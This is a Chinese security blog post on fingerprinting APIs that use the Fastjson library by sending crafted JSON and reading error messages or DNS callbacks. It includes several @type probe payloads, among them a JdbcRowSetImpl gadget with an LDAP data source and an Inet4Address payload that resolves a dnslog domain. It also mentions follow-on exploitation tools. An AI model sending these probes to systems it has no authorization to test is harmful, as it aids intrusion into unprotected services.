首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Fastjson 组件黑盒探测方式技巧合集

Fastjson 组件黑盒探测方式技巧合集

作者头像
信安之路
发布2025-10-21 13:02:29
发布2025-10-21 13:02:29
1060
举报
文章被收录于专栏:信安之路信安之路

今天我们来总结一下通过构造数据包引发接口报错,从而根据报错信息判断接口是否使用了 fastjson 组件,从而提高 fastjson 漏洞的发现效率,如果接口数量少的情况下,无需如此,直接一梭子 poc 打下去即可,也用不了多少时间,但是如果接口数量过多的情况下,可以先通过报错来确认接口是否使用了 fastjson 组件,然后再进一步探测漏洞,可以提高效率,也能减少发送恶意包的数量。

在实战中,遇到过如下几个场景:

1、发送 payload:

代码语言:javascript
复制
{'@type': 'java.lang.Object'}
image-20250825095102092
image-20250825095102092

响应包中包含 alibaba.fastjson关键词,可以确认该接口使用了 fastjson 组件。

2、发送 payload:

代码语言:javascript
复制
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost", "autoCommit": True}
image-20250825095759145
image-20250825095759145

响应包中包含关键词 AutoType is not support,可以确定该接口使用了 fastjson 组件。

3、发送 payload:

代码语言:javascript
复制
{"@type": "non.existent.Class123"}
image-20250825095829586
image-20250825095829586

响应包中包含关键词 autoType is not support,可以确定该接口使用了 fastjson 组件。

为此,我将常见的规则和响应关键词进行整合,借助 AI 编写了一个测试脚本,可以自动探测接口是否是 fastjson 组件,相关规则配置如图:

image-20250825101238631
image-20250825101238631

有了这个配置,直接丢给 AI ,很快就能写出一个完整测试脚本,这里就不做分享啦。

如果遇到接口无报错的情况下,无法通过回显信息来判断接口是否使用了 fastjson 组件,这种情况下只能进行盲打,通过 dns 回显来确认接口是否使用 fastjson 组件,比如使用 payload:

代码语言:javascript
复制
{"@type":"java.net.Inet4Address","val":"1cab9481.log.nat.cloudns.ph."}

其中的域名地址来自于 dnslog 平台,发送 payload 之后,可以在 dnslog 平台看到解析记录:

image-20250825100440081
image-20250825100440081

收集到接口之后,可以尝试漏洞利用探测,主要利用方式有两种,一种是借助 Tomcat 回显命令执行的结果,一种是借助 fastjson 的利用工具来完成利用,更多详细内容,参考文库:

image-20250825100719574
image-20250825100719574
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-08-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档